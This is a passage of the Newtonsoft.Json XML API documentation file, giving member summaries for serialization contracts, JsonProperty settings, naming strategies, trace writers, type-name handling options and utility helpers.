name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            </summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodWithResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback,Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic that returns a result\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodReturnLast(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodNoResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Linq.Expressions.Expression[],Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.GetRestrictions\">\n            <summary>\n            Returns a Restrictions object which includes our current restrictions merged\n            with a restriction limiting our type\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        